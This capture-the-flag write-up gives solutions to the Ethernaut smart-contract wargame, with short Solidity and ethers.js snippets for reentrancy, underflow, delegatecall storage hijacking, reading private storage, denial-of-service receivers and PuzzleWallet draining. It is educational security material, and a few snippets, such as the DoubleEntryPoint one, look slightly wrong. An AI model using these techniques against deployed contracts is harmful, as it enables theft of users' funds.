Solutions to The Ethernaut CTF challenges ⛳️
- Hello Ethernaut
- Fallback
- Fallout
- Coinflip
- Telephone
- Token
- Delegation
- Force
- Vault
- King
- Re-entrancy
- Elevator
- Privacy
- Gatekeeper One
- Gatekeeper Two
- Naught Coin
- Preservation
- Recovery
- MagicNumber
- AlienCodex
- Denial
- Shop
- DEX
- DEX TWO
- Puzzle Wallet
- Motorbike
- DoubleEntryPoint
This is a warmup. Just start by calling info()
and follow the instructions
Here we have to take ownership of the contract and withdraw all the Ether.
In order to be the owner
we will have to send at least 1 wei to the contract, which will trigger the receive
special function:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
We also have to satisfy the contributions[msg.sender] > 0
:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
}
So beforehand, we have to call the contribute, and make a small contribution to it.
After those two steps we can call the withdraw
and job done.
In previous versions of Solidity there was no constructor
function, so it had to be named with the same name as the contract.
In this case the "constructor" had a typo and was named Fal1out
. Just call the function to gain ownership of the contract.
For this challenge we have to guess a coin flip for 10 times in a row.
The "random" function looks like this:
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
Truly random numbers cannot be generated in Solidity. So, we can create an attacker contract with the same random function, calculate the outcome and send it to the original contract. This way we can make sure the guess will always be correct.
Repeat it 10 times and we win.
Here we have to claim ownership of the contract. In order to do that we have to call the function:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
To satisfy the tx.origin != msg.sender
requirement we just have to make the call from another contract.
For this challenge we need to increment our tokens to over 20.
In older versions of Solidity overflows and underflows didn't revert the tx. In this case, an underflow can be achieved in the function:
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
If we send a _value
greater than the balance we have, there will be an underflow, leading to a huge number.
So, what we have to do is send, lets say 21 tokens to any other address, and then our balance will significantly increase!
This challenge demonstrates the usage of delegatecall
and its risks, modifying the storage of the former contract.
Here is an example on how to send a transaction to the delegated contract:
const iface = new ethers.utils.Interface(["function pwn()"]);
const data = iface.encodeFunctionData("pwn");
const tx = await attacker.sendTransaction({
to: delegate.address,
data,
gasLimit: 100000,
});
await tx.wait();
gasLimit
has been explicitly set because gas estimations might fail when making delegate calls.
The goal of this challenge is to make the balance of the contract greater than zero.
The problem is that the contract doesn't have any function to receive ether, nor does it have any fallback.
But it can be forced to receive ether by calling selfdestruct
on another contract, and the remaining balance will go to the specified address.
Here we have to guess a secret password to unlock the vault.
The issue is that the password is stored in the contract as private
. Nevertheless, it is possible to access private storage variables in contracts, if we know the slot they are in:
const password = await ethers.provider.getStorageAt(contract.address, 1);
For this challenge we have to perform a DOS (Denial of Service) into the contract.
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
The vulnerable line is king.transfer(msg.value);
.
We can create a contract that reverts when it receives some ether. So, when transfer
is executed it will revert the tx, making the contract not usable anymore.
The goal of this challenge is to empty the contract ether.
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call{ value: _amount }("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
But it is vulnerable to a Re-entrancy attack.
The balance of the contract is updated after the ether is sent, and there is no safeguard.
We can create a contract with a receive
function that calls withdraw
again, and it will bypass the requirement.
receive() external payable {
reentrance.withdraw(msg.value);
}
So, the ether is withdrawn twice and the balance is updated
For this challenge we have to set the top
variable to true
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
We just have to create a contract that implements the Building
interface:
interface Building {
function isLastFloor(uint256) external returns (bool);
}
With the only catch that the first time it has to return false
to enter the if (!building.isLastFloor(_floor)) {}
and the second time it has to return true
to satisfy the challenge requirement.
In this challenge we have to unlock a vault with a secret:
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
The secret is stored in bytes32[3] private data;
, but data in smart contracts can be read, despite it being set as private
.
We first need to understand the storage slot corresponding to data[2]
, which is the key we want.
Different types occupy different space in the storage. The compiler tries to fit them in the same slot if it can, depending on its neighbours. Taking that into account, we can see that the storage is occupied this way:
| Slot 0 | bool locked |
| Slot 1 | uint256 ID |
| Slot 2 | uint8 flattening + unit8 denomination + uint16 awkwardness |
| Slot 3 | bytes32 data[0] |
| Slot 4 | bytes32 data[1] |
| Slot 5 | bytes32 data[2] |
We can see that the compiler stores multiple variables on slot 2
because it knows they will all fit in the 32 bytes space of the slot.
The one that is most important for us is slot 5
, where our answer lies on.
We can easily get it, and parse to bytes16
to solve the challenge:
const dataArraySlot = 5;
const key32 = await ethers.provider.getStorageAt(contract.address, dataArraySlot);
const key16 = key32.slice(0, 16 * 2 + 2); // 16 bytes * 2 char + 2 char (0x)
const tx = await contract.unlock(key16);
await tx.wait();
Here we have to unlock three gates to pass the challenge.
The first one is straightforward. We have to call the function from another contract:
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
The second one implies gas manipulation:
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
It is not an easy task to calculate the exact amount of gas spent until that point, so we have two options:
- Use Remix debugger to find the exact number of gas left at that point
- Brute force the contract to get a number that satisfies that condition
In both cases, we have to work with the exact same Solidity version that was compiled, as different versions would results in different gas results. We can temporary bypass the third gate to calculate this number.
On our auxiliary contract:
function enter(uint256 gasOffset, bytes8 _gateKey) public {
gatekeeper.enter.gas(8191 * 10 + gasOffset)(_gateKey);
}
The third gate involves byte calculation:
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
Let's say our address is 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
, and let's focus on the last condition:
uint32(uint64(_gateKey)) == uint16(tx.origin) == 0x2266 == 0x00002266
This function looks like it is applying a mask 0xffffffff0000ffff
to the address.
Let's complete the rest of the 8 bytes of the _gateKey
with the address + the mask: 0x827279cf00002266
Fortunately this also satisfies the first two parts of the last gate. So we are done :)
For this one, we have to solve three mini-challenges:
Gate 1 requires another contract to call the enter
function.
Gate 2 has some assembly code that calculates the code size of the caller contract:
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
It requires the contract code to equal 0, which doesn't sound reasonable, but there's a catch. That function returns 0 when the contract is called in its constructor
Gate 3 requires to do some bitwise calculation:
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
We can calculate the _gateKey
like this:
uint64(_gateKey) == (uint64(0) - 1) ^ uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
The inverse of the XOR function ^
is also the XOR function!
We can then calculate the result of the equation in the attacker contract, replacing msg.sender
with the contract address.
The idea of this challenge is to move all the tokens away to another address.
The contract has a transfer
function with some restrictions, but the gotcha is that it inherits ERC20
, which has other methods for interacting with the tokens, such as transferFrom
, that can be used to move the tokens without the supposed restrictions.
This challenge makes use of delegatecall
to delegate the setTime
function to two other contracts, but there is a misinterpretation of how the storage works in this case.
Let's take a look at the first delegator contract:
contract Preservation {
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint256 storedTime; // slot 3
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
Now let's take a look at the delegated contract:
contract LibraryContract {
uint256 storedTime; // slot 0
function setTime(uint256 _time) public {
storedTime = _time;
}
}
The setTime
function, which modifies the storedTime
is expected to modify the same variable on the delegator contract, but instead it modifies the one stored in the same slot, in this case, the one in slot 0: timeZone1Library
We can then call setFirstTime
with the address of an attacker contract.
The attacker contract will contain a function setTime
that sets the storage slot 2 as the attacker address.
Then when we call setFirstTime
again, it will turns us into the owner!
In this challenge, we have to withdraw all the ether from a lost contract.
To find the lost contract, we just have to connect to Etherscanner, check the internal transactions, and we will see that there was a contract created.
We attach that address to a token contract, and call the destroy
function with our address to get all the ether.
The goal here is to write a contract in bytecode in less than 10 bytes that returns the number 42 when called.
Here are two great writeups that explain it:
- How to deploy contracts using raw assembly opcodes | by 0xSage
- The Ethernaut Challenge #18 Solution — Magic Number | by StErMi
The goal of this challenge is to become the owner of the contract.
The contract has a vulnerable dynamic array because of the function:
function retract() public contacted {
codex.length--;
}
If the function is called when the array length is 0, it will underflow, resulting in having its length equal to the size of the storage.
That said, we can modify any slot in the storage, including the one used for the owner
.
We can calculate the position of the slot used for the owner:
const mapLengthAddress = "0x0000000000000000000000000000000000000000000000000000000000000001";
const mapStartSlot = BigNumber.from(ethers.utils.keccak256(mapLengthAddress));
const NUMBER_OF_SLOTS = BigNumber.from("2").pow("256");
const ownerPositionInMap = NUMBER_OF_SLOTS.sub(mapStartSlot);
Then we can just override it and win:
const parsedAddress = ethers.utils.hexZeroPad(attacker.address, 32);
const tx = await contract.revise(ownerPositionInMap, parsedAddress);
await tx.wait();
The goal of this challenge is to perform a DOS on the contract, when the owner tries to use the withdraw
:
function withdraw() public {
uint256 amountToSend = address(this).balance.div(100);
partner.call{ value: amountToSend }("");
owner.transfer(amountToSend);
}
The partner
can be set, and it can be a contract. So it is a good target to perform an attack when it receives ether.
As the purpose of the challenge is to deny the service, spending all the gas on the receive
function from the attacker contract is enough. It can be done with some while
loop, for example:
receive() external payable {
while (true) {}
}
The goal here is to buy an item for less than 100.
Because of the way the contact is written:
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
It is possible to write a contract that the first time, it return one value, and the second time it is called it returns another:
function price() public payable returns (uint256) {
if (shop.isSold() == false) {
return 101;
}
return 0;
}
This way we trick the original contract.
In this challenge we have to make the balance of some token in a DEX to be 0.
There is a miscalculation in the price function:
function getSwapPrice(
address from,
address to,
uint256 amount
) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
As there are no floating numbers in Solidity, results are rounded, and it happens that sometimes they are rounded down.
So, if we swap from one token to the other many times we can exploit that miscalculation and empty the contract
This challenge is very similar to the previous one, with the difference that this one omits the following validation when swapping tokens:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
This means that we can swap any token. So, we can create a random token. Send it to the contract, and swap it for the ones we're interested in.
The goal of this challenge is to become the admin
of the contract. We will exploit the proxy storage by modifying variables in the implementation contract, and viceversa.
First we need to become the owner
. To do that we can propose a new pendingAdmin
, which will modify the corresponding storage of the owner
:
tx = await proxyContract.proposeNewAdmin(attacker.address);
Then we add ourselves to the whitelist, in order to execute whitelisted methods:
tx = await puzzleWallet.addToWhitelist(attacker.address);
Then manipulate the balance, to make it double:
const data1 = puzzleWallet.interface.encodeFunctionData("deposit");
const data2 = puzzleWallet.interface.encodeFunctionData("multicall", [[data1]]);
tx = await await puzzleWallet.multicall([data1, data2], {
value: ethers.utils.parseEther("0.001"),
});
Drain all the ether:
tx = await puzzleWallet.execute(attacker.address, ethers.utils.parseEther("0.002"), "0x");
And finally we can become the admin
by modifying the maxBalance
which is in the same storage slot:
tx = await puzzleWallet.setMaxBalance(attacker.address);
The goal of this one is to selfdestruct the Engine
implementation.
The vulnerability here, is that the implementation wasn't initialized, so we can become the upgrader
, and then upgrade our contract to an attacker that selfdestructs.
This challenge is to teach us how to set up a Forta bot:
const fortaAddress = await contract.forta();
const fortaFactory = await ethers.getContractFactory("DoubleEntryPoint");
const forta = fortaFactory.attach(fortaAddress);
const detectionBotFactory = await ethers.getContractFactory("DoubleEntryPoint");
const detectionBot = await detectionBotFactory.deploy(forta.address);
await detectionBot.deployed();
const tx = await forta.setDetectionBot(detectionBot.address);
await tx.wait();